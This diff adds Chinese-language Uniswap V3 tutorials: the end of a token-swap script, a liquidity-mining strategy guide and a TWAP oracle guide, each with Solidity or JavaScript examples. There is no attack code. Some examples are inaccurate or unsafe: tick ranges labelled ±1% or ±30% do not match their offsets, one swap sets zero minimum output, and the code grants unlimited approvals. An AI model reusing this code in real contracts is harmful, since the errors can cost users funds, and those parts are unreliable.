+    // 4. 创建AlphaRouter实例用于获取最佳交易路径
+    const router = new AlphaRouter({ chainId, provider });
+    
+    // 5. 创建代币数量实例
+    const wei = ethers.utils.parseEther(amountIn);
+    const currencyAmount = CurrencyAmount.fromRawAmount(
+      tokenIn,
+      wei.toString()
+    );
+    
+    // 6. 获取最佳交易路径
+    console.log(`查询 ${amountIn} ${tokenIn.symbol} 到 ${tokenOut.symbol} 的最佳交易路径...`);
+    const route = await router.route(
+      currencyAmount,
+      tokenOut,
+      TradeType.EXACT_INPUT,
+      {
+        recipient: wallet.address,
+        slippageTolerance: new Percent(5, 100), // 5% 滑点容忍度
+        deadline: Math.floor(Date.now() / 1000 + 1800) // 30分钟后过期
+      }
+    );
+    
+    if (!route) {
+      throw new Error('无法找到交易路径');
+    }
+    
+    // 7. 显示交易信息
+    console.log(`交易路径: ${route.route[0].tokenPath.map(token => token.symbol).join(' -> ')}`);
+    console.log(`预计获得: ${route.quote.toFixed(6)} ${tokenOut.symbol}`);
+    console.log(`价格影响: ${route.priceImpact.toFixed(2)}%`);
+    
+    // 8. 授权代币给SwapRouter（如果需要）
+    if (tokenIn.address !== WETH_ADDRESS) {
+      await approveToken(wallet, tokenIn.address, SWAP_ROUTER_ADDRESS, wei.toString());
+    }
+    
+    // 9. 执行交换
+    const swapRouter = new ethers.Contract(SWAP_ROUTER_ADDRESS, ISwapRouter02ABI, wallet);
+    
+    // 构建交易参数
+    const params = {
+      tokenIn: route.route[0].tokenPath[0].address,
+      tokenOut: route.route[0].tokenPath[route.route[0].tokenPath.length - 1].address,
+      fee: route.route[0].pools[0].fee,
+      recipient: wallet.address,
+      deadline: Math.floor(Date.now() / 1000) + 60 * 30, // 30分钟后过期
+      amountIn: wei,
+      amountOutMinimum: ethers.utils.parseUnits(
+        (parseFloat(route.quote.toFixed(6)) * 0.95).toFixed(6), // 允许5%滑点
+        tokenOut.decimals
+      ),
+      sqrtPriceLimitX96: 0 // 不设置价格限制
+    };
+    
+    // 发送交易
+    console.log('执行交换交易...');
+    const txOptions = {};
+    
+    // 如果是ETH到代币的交换，需要添加value
+    if (tokenIn.address === WETH_ADDRESS) {
+      txOptions.value = wei;
+      // 使用exactInputSingle方法
+      const tx = await swapRouter.exactInputSingle(params, txOptions);
+      console.log(`交易已发送: ${tx.hash}`);
+      
+      // 等待交易确认
+      const receipt = await tx.wait();
+      console.log(`交易已确认，区块号: ${receipt.blockNumber}`);
+    } else {
+      // 使用exactInputSingle方法
+      const tx = await swapRouter.exactInputSingle(params, txOptions);
+      console.log(`交易已发送: ${tx.hash}`);
+      
+      // 等待交易确认
+      const receipt = await tx.wait();
+      console.log(`交易已确认，区块号: ${receipt.blockNumber}`);
+    }
+    
+    // 10. 查询交易后余额
+    const usdcContract = new ethers.Contract(USDC_ADDRESS, IERC20ABI, provider);
+    const usdcBalance = await usdcContract.balanceOf(wallet.address);
+    console.log(`交易后 USDC 余额: ${ethers.utils.formatUnits(usdcBalance, 6)} USDC`);
+    
+  } catch (error) {
+    console.error('代币交换失败:', error);
+  }
+}
+
+/**
+ * 授权代币给指定合约
+ */
+async function approveToken(wallet, tokenAddress, spender, amount) {
+  const tokenContract = new ethers.Contract(tokenAddress, IERC20ABI, wallet);
+  const allowance = await tokenContract.allowance(wallet.address, spender);
+  
+  if (allowance.lt(amount)) {
+    console.log(`授权 ${tokenAddress} 给 ${spender}...`);
+    const tx = await tokenContract.approve(spender, ethers.constants.MaxUint256);
+    await tx.wait();
+    console.log(`授权成功: ${tx.hash}`);
+  } else {
+    console.log(`${tokenAddress} 已有足够授权`);
+  }
+}
+
+/**
+ * 计算价格影响
+ * 价格影响是指交易对市场价格的影响程度
+ */
+function calculatePriceImpact(marketPrice, executionPrice) {
+  return ((marketPrice - executionPrice) / marketPrice) * 100;
+}
+
+/**
+ * 多跳路径交换示例
+ * 如何通过多个池进行代币交换以获得更好的价格
+ */
+async function multiHopSwap(wallet, provider, amountIn, path) {
+  // 创建SwapRouter实例
+  const swapRouter = new ethers.Contract(SWAP_ROUTER_ADDRESS, ISwapRouter02ABI, wallet);
+  
+  // 编码路径
+  const encodedPath = ethers.utils.solidityPack(
+    ['address', 'uint24', 'address', 'uint24', 'address'],
+    [
+      path[0].address,      // 第一个代币地址
+      path[1],              // 第一个池费率
+      path[2].address,      // 中间代币地址
+      path[3],              // 第二个池费率
+      path[4].address       // 最后代币地址
+    ]
+  );
+  
+  // 构建exactInput参数
+  const params = {
+    path: encodedPath,
+    recipient: wallet.address,
+    deadline: Math.floor(Date.now() / 1000) + 60 * 30,
+    amountIn: ethers.utils.parseEther(amountIn),
+    amountOutMinimum: 0 // 在生产环境中应设置最小值
+  };
+  
+  // 发送交易
+  const txOptions = {};
+  if (path[0].address === WETH_ADDRESS) {
+    txOptions.value = params.amountIn;
+  }
+  
+  const tx = await swapRouter.exactInput(params, txOptions);
+  console.log(`多跳交换交易已发送: ${tx.hash}`);
+  
+  return tx;
+}
+
+if (require.main === module) {
+  swapTokens()
+    .then(() => process.exit(0))
+    .catch(error => {
+      console.error(error);
+      process.exit(1);
+    });
+}
\ No newline at end of file
diff --git a/defi/Uniswap-V3/liquidityMiningGuide/liquidity-mining-strategy.md b/defi/Uniswap-V3/liquidityMiningGuide/liquidity-mining-strategy.md
new file mode 100644
index 000000000..f1c171efa
--- /dev/null
+++ b/defi/Uniswap-V3/liquidityMiningGuide/liquidity-mining-strategy.md
@@ -0,0 +1,443 @@
+# Uniswap V3 流动性挖矿策略指南
+
+## 简介
+
+流动性挖矿是DeFi生态系统中的重要组成部分，而Uniswap V3的集中流动性机制为流动性提供者带来了全新的策略可能性。
+
+## Uniswap V3 流动性机制概述
+
+### 集中流动性的革新
+
+Uniswap V3最大的创新在于引入了集中流动性（Concentrated Liquidity）机制，允许流动性提供者（LP）将资金集中在特定价格区间内，而不是像V2那样均匀分布在0到无穷大的价格范围内。
+
+### 价格区间与资本效率
+
+在Uniswap V3中，LP可以选择任意价格区间提供流动性，这带来了几个关键优势：
+
+1. **提高资本效率**：相同资金量可以在较窄价格区间内提供更多流动性
+2. **自定义风险敞口**：可以根据市场预期设置价格区间，控制无常损失
+3. **多策略组合**：可以在不同价格区间创建多个头寸，实现复杂策略
+
+## 流动性挖矿策略类型
+
+### 1. 窄区间高频策略
+
+**适用场景**：稳定币对或低波动性交易对
+
+**策略描述**：
+- 在当前价格附近设置非常窄的价格区间（例如±1%）
+- 频繁调整位置以保持价格在区间内
+- 最大化交易费收益，但需要积极管理
+
+**代码示例**：
+
+```solidity
+// 窄区间策略示例
+function createNarrowRangePosition(address pool, int24 currentTick) external {
+    // 假设tickSpacing为60
+    int24 tickSpacing = 60;
+    
+    // 创建当前价格±1%的区间（大约±10个tick）
+    int24 lowerTick = currentTick - (10 * tickSpacing);
+    int24 upperTick = currentTick + (10 * tickSpacing);
+    
+    // 确保tick被tickSpacing整除
+    lowerTick = (lowerTick / tickSpacing) * tickSpacing;
+    upperTick = (upperTick / tickSpacing) * tickSpacing;
+    
+    // 调用NonfungiblePositionManager添加流动性
+    nonfungiblePositionManager.mint(
+        INonfungiblePositionManager.MintParams({
+            token0: IUniswapV3Pool(pool).token0(),
+            token1: IUniswapV3Pool(pool).token1(),
+            fee: IUniswapV3Pool(pool).fee(),
+            tickLower: lowerTick,
+            tickUpper: upperTick,
+            amount0Desired: amount0,
+            amount1Desired: amount1,
+            amount0Min: amount0Min,
+            amount1Min: amount1Min,
+            recipient: address(this),
+            deadline: block.timestamp + 15 minutes
+        })
+    );
+}
+```
+
+**优势**：
+- 最高的资本效率
+- 在低波动环境中获取最大交易费
+
+**风险**：
+- 价格移出区间导致无效流动性
+- 高频调整带来的gas成本
+- 较高的无常损失风险
+
+### 2. 中等区间策略
+
+**适用场景**：中等波动性的主流代币对
+
+**策略描述**：
+- 设置中等宽度的价格区间（例如±5-10%）
+- 平衡资本效率和维护成本
+- 适合中长期持有
+
+**代码示例**：
+
+```solidity
+// 中等区间策略示例
+function createMediumRangePosition(address pool, int24 currentTick) external {
+    // 假设tickSpacing为60
+    int24 tickSpacing = 60;
+    
+    // 创建当前价格±5%的区间（大约±50个tick）
+    int24 lowerTick = currentTick - (50 * tickSpacing);
+    int24 upperTick = currentTick + (50 * tickSpacing);
+    
+    // 确保tick被tickSpacing整除
+    lowerTick = (lowerTick / tickSpacing) * tickSpacing;
+    upperTick = (upperTick / tickSpacing) * tickSpacing;
+    
+    // 调用NonfungiblePositionManager添加流动性
+    nonfungiblePositionManager.mint(
+        INonfungiblePositionManager.MintParams({
+            token0: IUniswapV3Pool(pool).token0(),
+            token1: IUniswapV3Pool(pool).token1(),
+            fee: IUniswapV3Pool(pool).fee(),
+            tickLower: lowerTick,
+            tickUpper: upperTick,
+            amount0Desired: amount0,
+            amount1Desired: amount1,
+            amount0Min: amount0Min,
+            amount1Min: amount1Min,
+            recipient: address(this),
+            deadline: block.timestamp + 15 minutes
+        })
+    );
+}
+```
+
+**优势**：
+- 平衡的资本效率和维护需求
+- 适中的无常损失风险
+- 较少的调整频率
+
+**风险**：
+- 资本效率低于窄区间策略
+- 仍有价格移出区间的可能性
+
+### 3. 宽区间策略
+
+**适用场景**：高波动性代币对或长期持有
+
+**策略描述**：
+- 设置宽泛的价格区间（例如±20-50%）
+- 类似于Uniswap V2的被动策略
+- 最小化维护需求
+
+**代码示例**：
+
+```solidity
+// 宽区间策略示例
+function createWideRangePosition(address pool, int24 currentTick) external {
+    // 假设tickSpacing为60
+    int24 tickSpacing = 60;
+    
+    // 创建当前价格±30%的区间（大约±300个tick）
+    int24 lowerTick = currentTick - (300 * tickSpacing);
+    int24 upperTick = currentTick + (300 * tickSpacing);
+    
+    // 确保tick被tickSpacing整除
+    lowerTick = (lowerTick / tickSpacing) * tickSpacing;
+    upperTick = (upperTick / tickSpacing) * tickSpacing;
+    
+    // 调用NonfungiblePositionManager添加流动性
+    nonfungiblePositionManager.mint(
+        INonfungiblePositionManager.MintParams({
+            token0: IUniswapV3Pool(pool).token0(),
+            token1: IUniswapV3Pool(pool).token1(),
+            fee: IUniswapV3Pool(pool).fee(),
+            tickLower: lowerTick,
+            tickUpper: upperTick,
+            amount0Desired: amount0,
+            amount1Desired: amount1,
+            amount0Min: amount0Min,
+            amount1Min: amount1Min,
+            recipient: address(this),
+            deadline: block.timestamp + 15 minutes
+        })
+    );
+}
+```
+
+**优势**：
+- 最低的维护需求
+- 类似V2的体验
+- 最小化无常损失风险
+
+**风险**：
+- 资本效率显著降低
+- 单位流动性获得的交易费较少
+
+### 4. 单边流动性策略
+
+**适用场景**：对代币价格有明确方向性预期
+
+**策略描述**：
+- 设置单向价格区间（例如只在当前价格以上或以下）
+- 结合做市和方向性押注
+- 适合有明确市场观点的LP
+
+**代码示例**：
+
+```solidity
+// 看涨单边流动性策略示例
+function createBullishPosition(address pool, int24 currentTick) external {
+    // 假设tickSpacing为60
+    int24 tickSpacing = 60;
+    
+    // 创建当前价格到+20%的区间（只在上方提供流动性）
+    int24 lowerTick = currentTick;
+    int24 upperTick = currentTick + (200 * tickSpacing);
+    
+    // 确保tick被tickSpacing整除
+    lowerTick = (lowerTick / tickSpacing) * tickSpacing;
+    upperTick = (upperTick / tickSpacing) * tickSpacing;
+    
+    // 调用NonfungiblePositionManager添加流动性
+    nonfungiblePositionManager.mint(
+        INonfungiblePositionManager.MintParams({
+            token0: IUniswapV3Pool(pool).token0(),
+            token1: IUniswapV3Pool(pool).token1(),
+            fee: IUniswapV3Pool(pool).fee(),
+            tickLower: lowerTick,
+            tickUpper: upperTick,
+            amount0Desired: amount0,
+            amount1Desired: amount1,
+            amount0Min: amount0Min,
+            amount1Min: amount1Min,
+            recipient: address(this),
+            deadline: block.timestamp + 15 minutes
+        })
+    );
+}
+```
+
+**优势**：
+- 结合做市收益和方向性押注
+- 在正确的市场方向上获得额外收益
+
+**风险**：
+- 方向错误时损失较大
+- 价格移出区间的风险高
+
+## 多策略组合与资产分配
+
+### 梯度流动性策略
+
+通过在不同价格区间分配流动性，创建"梯度"或"阶梯"式的流动性分布，可以同时获得多种策略的优势。
+
+**策略描述**：
+- 将资金分配到多个重叠或相邻的价格区间
+- 在当前价格附近使用窄区间获取高效率
+- 在外围使用宽区间捕获大幅波动
+
+**代码示例**：
+
+```solidity
+// 梯度流动性策略示例
+function createGradientLiquidityPositions(address pool, int24 currentTick) external {
+    // 假设tickSpacing为60
+    int24 tickSpacing = 60;
+    
+    // 创建三个不同宽度的区间
+    // 1. 窄区间（±2%）
+    int24 narrowLowerTick = currentTick - (20 * tickSpacing);
+    int24 narrowUpperTick = currentTick + (20 * tickSpacing);
+    
+    // 2. 中等区间（±10%）
+    int24 mediumLowerTick = currentTick - (100 * tickSpacing);
+    int24 mediumUpperTick = currentTick + (100 * tickSpacing);
+    
+    // 3. 宽区间（±25%）
+    int24 wideLowerTick = currentTick - (250 * tickSpacing);
+    int24 wideUpperTick = currentTick + (250 * tickSpacing);
+    
+    // 确保所有tick被tickSpacing整除
+    narrowLowerTick = (narrowLowerTick / tickSpacing) * tickSpacing;
+    narrowUpperTick = (narrowUpperTick / tickSpacing) * tickSpacing;
+    mediumLowerTick = (mediumLowerTick / tickSpacing) * tickSpacing;
+    mediumUpperTick = (mediumUpperTick / tickSpacing) * tickSpacing;
+    wideLowerTick = (wideLowerTick / tickSpacing) * tickSpacing;
+    wideUpperTick = (wideUpperTick / tickSpacing) * tickSpacing;
+    
+    // 分配资金比例：窄区间50%，中等区间30%，宽区间20%
+    uint256 narrowAmount0 = amount0 * 50 / 100;
+    uint256 narrowAmount1 = amount1 * 50 / 100;
+    uint256 mediumAmount0 = amount0 * 30 / 100;
+    uint256 mediumAmount1 = amount1 * 30 / 100;
+    uint256 wideAmount0 = amount0 * 20 / 100;
+    uint256 wideAmount1 = amount1 * 20 / 100;
+    
+    // 创建三个不同的头寸
+    // 1. 窄区间头寸
+    nonfungiblePositionManager.mint(
+        INonfungiblePositionManager.MintParams({
+            token0: IUniswapV3Pool(pool).token0(),
+            token1: IUniswapV3Pool(pool).token1(),
+            fee: IUniswapV3Pool(pool).fee(),
+            tickLower: narrowLowerTick,
+            tickUpper: narrowUpperTick,
+            amount0Desired: narrowAmount0,
+            amount1Desired: narrowAmount1,
+            amount0Min: narrowAmount0 * 95 / 100,
+            amount1Min: narrowAmount1 * 95 / 100,
+            recipient: address(this),
+            deadline: block.timestamp + 15 minutes
+        })
+    );
+    
+    // 2. 中等区间头寸
+    nonfungiblePositionManager.mint(
+        INonfungiblePositionManager.MintParams({
+            token0: IUniswapV3Pool(pool).token0(),
+            token1: IUniswapV3Pool(pool).token1(),
+            fee: IUniswapV3Pool(pool).fee(),
+            tickLower: mediumLowerTick,
+            tickUpper: mediumUpperTick,
+            amount0Desired: mediumAmount0,
+            amount1Desired: mediumAmount1,
+            amount0Min: mediumAmount0 * 95 / 100,
+            amount1Min: mediumAmount1 * 95 / 100,
+            recipient: address(this),
+            deadline: block.timestamp + 15 minutes
+        })
+    );
+    
+    // 3. 宽区间头寸
+    nonfungiblePositionManager.mint(
+        INonfungiblePositionManager.MintParams({
+            token0: IUniswapV3Pool(pool).token0(),
+            token1: IUniswapV3Pool(pool).token1(),
+            fee: IUniswapV3Pool(pool).fee(),
+            tickLower: wideLowerTick,
+            tickUpper: wideUpperTick,
+            amount0Desired: wideAmount0,
+            amount1Desired: wideAmount1,
+            amount0Min: wideAmount0 * 95 / 100,
+            amount1Min: wideAmount1 * 95 / 100,
+            recipient: address(this),
+            deadline: block.timestamp + 15 minutes
+        })
+    );
+}
+```
+
+**优势**：
+- 平衡资本效率和风险
+- 在不同市场条件下都能获得收益
+- 降低整体无常损失风险
+
+**风险**：
+- 管理复杂度增加
+- 需要更多资金投入
+- 可能产生更高的gas成本
+
+### 动态再平衡策略
+
+根据市场条件自动调整流动性分布，优化资本效率和收益。
+
+**策略描述**：
+- 定期或基于价格触发条件重新调整流动性区间
+- 使用价格预测算法辅助决策
+- 自动化执行以减少人工操作
+
+**优势**：
+- 适应市场变化，保持最优资本效率
+- 减少价格移出区间的风险
+- 可以利用价格趋势获取额外收益
+
+**风险**：
+- 频繁调整带来的gas成本
+- 算法预测错误的风险
+- 技术实现复杂度高
+
+## 自动化工具与解决方案
+
+### 流动性管理协议
+
+多个第三方协议提供了Uniswap V3流动性管理的自动化解决方案：
+
+1. **Arrakis Finance**：提供自动化的流动性管理服务，包括再平衡和多策略组合
+2. **Charm Finance**：专注于Alpha Vault产品，自动管理Uniswap V3头寸
+3. **Gelato Network**：提供通用自动化基础设施，可用于构建自定义流动性管理策略
+
+### 开源工具
+
+以下开源工具可以帮助流动性提供者管理其Uniswap V3头寸：
+
+1. **Uniswap V3 Simulator**：模拟不同策略的表现和收益
+2. **APY Vision**：分析历史表现和优化策略
+3. **DefiLab**：可视化流动性分布和收益预测
+
+## 风险管理策略
+
+### 无常损失对冲
+
+无常损失是Uniswap V3流动性提供者面临的主要风险之一，以下是一些对冲策略：
+
+1. **期权对冲**：使用期权合约对冲价格波动风险
+2. **Delta中性策略**：通过衍生品保持整体头寸的Delta中性
+3. **多池分散**：在相关性低的多个池中分散提供流动性
+
+### 价格区间管理
+
+有效管理价格区间可以显著降低风险：
+
+1. **渐进式调整**：随着价格变动逐步调整区间，而非一次性大幅调整
+2. **基于波动率的区间设置**：根据历史波动率数据设置合理的价格区间
+3. **设置止损策略**：当无常损失超过特定阈值时退出头寸
+
+## 收益分析与优化
+
+### 收益来源分解
+
+Uniswap V3流动性提供者的收益主要来自以下几个方面：
+
+1. **交易费收入**：提供流动性赚取的交易费
+2. **资本增值**：持有代币的价值变化
+3. **额外激励**：某些池可能提供额外的代币激励
+
+### 收益优化方法
+
+以下方法可以帮助优化Uniswap V3的收益：
+
+1. **费率选择**：根据交易对的波动性选择最优的费率等级（0.05%、0.3%或1%）
+2. **区间宽度优化**：通过历史数据分析找到最佳区间宽度
+3. **复利策略**：定期将收益再投入以获得复利效应
+
+## 实际案例分析
+
+### 稳定币对策略案例
+
+**USDC-USDT 0.05%池**
+
+- **策略**：极窄区间（±0.1%）
+- **结果**：年化收益率可达5-10%，几乎没有无常损失
+- **关键因素**：高交易量和极低的价格波动性
+
+### 中波动性代币对案例
+
+**ETH-USDC 0.3%池**
+
+- **策略**：中等区间（±10%）结合定期再平衡
+- **结果**：交易费收益可抵消部分无常损失，整体收益取决于ETH价格趋势
+- **关键因素**：再平衡频率和区间设置的精确度
+
+## 最佳实践建议
+
+1. **从小额开始**：初次尝试时使用小额资金，熟悉机制后再增加
+2. **持续监控**：定期检查头寸状态，特别是价格接近区间边界时
+3. **税务记录**：保持详细的交易记录以便税务申报
+4. **多策略组合**：不要将所有资金集中在单一策略上
+5. **关注gas成本**：在低gas价格时执行调整操作
diff --git a/defi/Uniswap-V3/oracleGuide/price-oracle-guide.md b/defi/Uniswap-V3/oracleGuide/price-oracle-guide.md
new file mode 100644
index 000000000..75942d7af
--- /dev/null
+++ b/defi/Uniswap-V3/oracleGuide/price-oracle-guide.md
@@ -0,0 +1,422 @@
+# Uniswap 价格预言机机制详解
+
+## 简介
+
+价格预言机是区块链应用中获取可靠价格数据的关键组件。Uniswap 作为以太坊上最大的去中心化交易所之一，提供了内置的时间加权平均价格(TWAP)预言机，为其他智能合约提供可靠的价格信息。本文将详细介绍 Uniswap V2 和 V3 的预言机机制，以及如何在实际应用中使用这些预言机。
+
+## Uniswap V2 TWAP 预言机
+
+### 工作原理
+
+Uniswap V2 的预言机基于累积价格机制，每个区块都会更新累积价格值。
+
+```solidity
+// Uniswap V2 价格累积更新逻辑
+price0CumulativeLast += uint(UQ112x112.encode(reserve1).uqdiv(reserve0)) * timeElapsed;
+price1CumulativeLast += uint(UQ112x112.encode(reserve0).uqdiv(reserve1)) * timeElapsed;
+```
+
+通过比较两个时间点的累积价格差值，并除以经过的时间，可以计算出这段时间内的时间加权平均价格(TWAP)：
+
+```
+TWAP = (累积价格终值 - 累积价格初值) / (终值时间戳 - 初值时间戳)
+```
+
+### 优势
+
+1. **抗操纵性**：短期价格波动和市场操纵对 TWAP 的影响有限
+2. **去中心化**：完全链上实现，无需外部数据源
+3. **成本效益**：无需额外的预言机服务费用
+
+### 局限性
+
+1. **时效性**：TWAP 反映的是历史平均价格，而非实时价格
+2. **gas 成本**：需要存储历史价格点，增加了 gas 消耗
+3. **精度有限**：使用 UQ112x112 定点数表示，精度有限
+
+## Uniswap V3 TWAP 预言机改进
+
+Uniswap V3 对预言机机制进行了显著改进，提供了更高效、更灵活的价格数据访问方式。
+
+### 主要改进
+
+1. **观察数组**：使用环形缓冲区存储价格观察值，最多可存储 65,536 个数据点
+2. **可配置的观察周期**：池创建时可以设置观察数组的大小
+3. **更高精度**：使用 Q96 定点数表示价格，提供更高精度
+4. **更低 gas 成本**：优化了数据存储和访问方式
+
+```solidity
+// Uniswap V3 观察结构
+struct Observation {
+    // 区块时间戳
+    uint32 blockTimestamp;
+    // 累积的 tick 值
+    int56 tickCumulative;
+    // 累积的秒数
+    uint160 secondsPerLiquidityCumulativeX128;
+    // 该观察值是否已初始化
+    bool initialized;
+}
+```
+
+### 数据结构
+
+Uniswap V3 使用 `Oracle` 库来管理和查询价格观察值：
+
+```solidity
+library Oracle {
+    struct Observation {
+        uint32 blockTimestamp;
+        int56 tickCumulative;
+        uint160 secondsPerLiquidityCumulativeX128;
+        bool initialized;
+    }
+
+    // 写入新的观察值
+    function write(
+        Observation[65535] storage self,
+        uint16 index,
+        uint32 blockTimestamp,
+        int24 tick,
+        uint128 liquidity,
+        uint16 cardinality,
+        uint16 cardinalityNext
+    ) internal returns (uint16 indexUpdated, uint16 cardinalityUpdated) {...}
+
+    // 查询特定时间范围内的 TWAP
+    function observe(
+        Observation[65535] storage self,
+        uint32 time,
+        uint32[] memory secondsAgos,
+        int24 tick,
+        uint16 index,
+        uint16 cardinality
+    ) internal view returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s) {...}
+}
+```
+
+## 预言机数据的访问方式
+
+### Uniswap V2 预言机访问
+
+在 Uniswap V2 中，可以通过以下方式获取 TWAP：
+
+```solidity
+// 示例：获取 Uniswap V2 TWAP
+contract TWAPExample {
+    IUniswapV2Pair public pair;
+    uint public price0CumulativeLast;
+    uint public price1CumulativeLast;
+    uint32 public blockTimestampLast;
+    
+    constructor(address _pair) {
+        pair = IUniswapV2Pair(_pair);
+        // 初始化累积价格和时间戳
+        (,, uint32 timestamp) = pair.getReserves();
+        price0CumulativeLast = pair.price0CumulativeLast();
+        price1CumulativeLast = pair.price1CumulativeLast();
+        blockTimestampLast = timestamp;
+    }
+    
+    function updateAndGetTWAP() external returns (uint256 twap0, uint256 twap1) {
+        // 获取当前累积价格和时间戳
+        (uint112 reserve0, uint112 reserve1, uint32 timestamp) = pair.getReserves();
+        uint32 timeElapsed = timestamp - blockTimestampLast;
+        
+        if (timeElapsed > 0) {
+            // 计算 TWAP
+            uint256 price0Cumulative = pair.price0CumulativeLast();
+            uint256 price1Cumulative = pair.price1CumulativeLast();
+            
+            twap0 = (price0Cumulative - price0CumulativeLast) / timeElapsed;
+            twap1 = (price1Cumulative - price1CumulativeLast) / timeElapsed;
+            
+            // 更新存储的值
+            price0CumulativeLast = price0Cumulative;
+            price1CumulativeLast = price1Cumulative;
+            blockTimestampLast = timestamp;
+        }
+    }
+}
+```
+
+### Uniswap V3 预言机访问
+
+Uniswap V3 提供了更简洁的接口来查询 TWAP：
+
+```solidity
+// 示例：获取 Uniswap V3 TWAP
+contract V3TWAPExample {
+    IUniswapV3Pool public pool;
+    
+    constructor(address _pool) {
+        pool = IUniswapV3Pool(_pool);
+    }
+    
+    function getTWAP(uint32 secondsAgo) external view returns (int24 twapTick) {
+        require(secondsAgo != 0, "Seconds ago cannot be 0");
+        
+        uint32[] memory secondsAgos = new uint32[](2);
+        secondsAgos[0] = secondsAgo;
+        secondsAgos[1] = 0; // 当前时间
+        
+        // 查询累积 tick 值
+        (int56[] memory tickCumulatives,) = pool.observe(secondsAgos);
+        
+        // 计算 TWAP tick
+        twapTick = int24((tickCumulatives[1] - tickCumulatives[0]) / int56(uint56(secondsAgo)));
+    }
+    
+    function getPriceFromTick(int24 tick) public pure returns (uint256 price) {
+        // 从 tick 转换为价格
+        uint160 sqrtPriceX96 = TickMath.getSqrtRatioAtTick(tick);
+        return FullMath.mulDiv(sqrtPriceX96, sqrtPriceX96, 1 << 192);
+    }
+}
+```
+
+## 预言机安全性考量
+
+### 潜在攻击向量
+
+1. **闪电贷攻击**：攻击者可能使用闪电贷操纵短期价格，但 TWAP 机制可以减轻这种影响
+2. **低流动性池风险**：流动性较低的池更容易被操纵
+3. **区块重组**：在区块链重组期间，预言机数据可能不一致
+
+### 安全最佳实践
+
+1. **使用足够长的时间窗口**：根据应用需求选择合适的 TWAP 时间窗口，通常建议至少 30 分钟
+2. **选择高流动性池**：优先使用流动性高的池作为价格源
+3. **多重验证**：关键应用应考虑使用多个预言机源进行交叉验证
+4. **设置价格偏差限制**：实现价格变化的上限，防止异常值
+
+## 实际应用场景
+
+### 借贷协议
+
+Uniswap 预言机广泛应用于借贷协议中，用于确定资产价格和清算阈值：
+
+```solidity
+// 借贷协议中使用 Uniswap V3 预言机的示例
+function calculateCollateralValue(address user) public view returns (uint256 value) {
+    // 获取用户抵押品数量
+    uint256 collateralAmount = userCollateral[user];
+    
+    // 获取 TWAP 价格
+    int24 twapTick = getTWAP(1800); // 30分钟 TWAP
+    uint256 price = getPriceFromTick(twapTick);
+    
+    // 计算抵押品价值
+    value = collateralAmount * price / 1e18;
+}
+```
+
+### 衍生品协议
+
+衍生品协议使用 Uniswap 预言机来确定结算价格和资金费率：
+
+```solidity
+// 永续合约中使用 Uniswap V3 预言机计算资金费率
+function calculateFundingRate() public view returns (int256 fundingRate) {
+    // 获取市场价格
+    uint256 marketPrice = getSpotPrice();
+    
+    // 获取 8 小时 TWAP
+    int24 twapTick = getTWAP(28800); // 8小时 TWAP
+    uint256 twapPrice = getPriceFromTick(twapTick);
+    
+    // 计算资金费率 (市场价格与 TWAP 的偏差)
+    if (marketPrice > twapPrice) {
+        fundingRate = int256((marketPrice - twapPrice) * 100 / twapPrice); // 正资金费率
+    } else {
+        fundingRate = -int256((twapPrice - marketPrice) * 100 / twapPrice); // 负资金费率
+    }
+    
+    // 限制资金费率范围
+    if (fundingRate > 1000) fundingRate = 1000; // 最大 10%
+    if (fundingRate < -1000) fundingRate = -1000; // 最小 -10%
+}
+```
+
+### 稳定币机制
+
+算法稳定币协议使用 Uniswap 预言机来触发扩张和收缩机制：
+
+```solidity
+// 算法稳定币使用 Uniswap V3 预言机调整供应
+function adjustSupply() external {
+    // 获取稳定币价格 TWAP
+    int24 twapTick = getTWAP(3600); // 1小时 TWAP
+    uint256 price = getPriceFromTick(twapTick);
+    
+    uint256 targetPrice = 1e18; // 目标价格 $1
+    uint256 deviationThreshold = 2e16; // 允许 2% 偏差
+    
+    if (price > targetPrice + deviationThreshold) {
+        // 价格高于目标 - 增加供应
+        mint(treasury, calculateMintAmount(price, targetPrice));
+    } else if (price < targetPrice - deviationThreshold) {
+        // 价格低于目标 - 减少供应
+        burnFromTreasury(calculateBurnAmount(price, targetPrice));
+    }
+}
+```
+
+## 集成指南
+
+### 步骤 1：确定需求
+
+在集成 Uniswap 预言机前，需要明确以下问题：
+
+1. 需要哪些代币对的价格数据？
+2. 需要多长的 TWAP 时间窗口？
+3. 价格更新频率是多少？
+4. 是否需要链下组件辅助？
+
+### 步骤 2：选择合适的池
+
+选择合适的 Uniswap 池作为价格源：
+
+1. 优先选择流动性高的池
+2. 对于 V3，选择合适的费率层级（通常 0.3% 费率池流动性最高）
+3. 确认池中的代币版本是否为主流版本
+
+### 步骤 3：实现预言机接口
+
+根据您的应用需求，实现适当的预言机接口：
+
+```solidity
+// Uniswap V3 预言机接口示例
+interface IOracle {
+    function consult(address token, uint256 amountIn) external view returns (uint256 amountOut);
+    function update() external;
+}
+
+contract UniswapV3Oracle is IOracle {
+    IUniswapV3Pool public immutable pool;
+    address public immutable token0;
+    address public immutable token1;
+    uint32 public immutable twapInterval;
+    
+    constructor(address _pool, uint32 _twapInterval) {
+        pool = IUniswapV3Pool(_pool);
+        token0 = pool.token0();
+        token1 = pool.token1();
+        twapInterval = _twapInterval;
+    }
+    
+    function consult(address token, uint256 amountIn) external view override returns (uint256 amountOut) {
+        require(token == token0 || token == token1, "Token not in pool");
+        
+        // 获取 TWAP tick
+        int24 twapTick = getTwap();
+        
+        // 计算价格
+        uint160 sqrtPriceX96 = TickMath.getSqrtRatioAtTick(twapTick);
+        
+        if (token == token0) {
+            // token0 -> token1
+            return FullMath.mulDiv(amountIn, sqrtPriceX96, 1 << 96) * sqrtPriceX96 / (1 << 96);
+        } else {
+            // token1 -> token0
+            return FullMath.mulDiv(amountIn, 1 << 192, sqrtPriceX96 * sqrtPriceX96);
+        }
+    }
+    
+    function getTwap() public view returns (int24 twapTick) {
+        uint32[] memory secondsAgos = new uint32[](2);
+        secondsAgos[0] = twapInterval;
+        secondsAgos[1] = 0;
+        
+        (int56[] memory tickCumulatives,) = pool.observe(secondsAgos);
+        
+        twapTick = int24((tickCumulatives[1] - tickCumulatives[0]) / int56(uint56(twapInterval)));
+    }
+    
+    function update() external override {
+        // V3 预言机不需要手动更新
+    }
+}
+```
+
+### 步骤 4：测试和验证
+
+在部署到主网前，进行充分的测试：
+
+1. 在测试网上部署和测试
+2. 与其他预言机源比较价格数据
+3. 模拟极端市场条件下的表现
+4. 进行安全审计
+
+## 最佳实践
+
+### 时间窗口选择
+
+- **短时间窗口**（< 10 分钟）：适用于需要较新价格数据的应用，但更容易受到短期价格波动影响
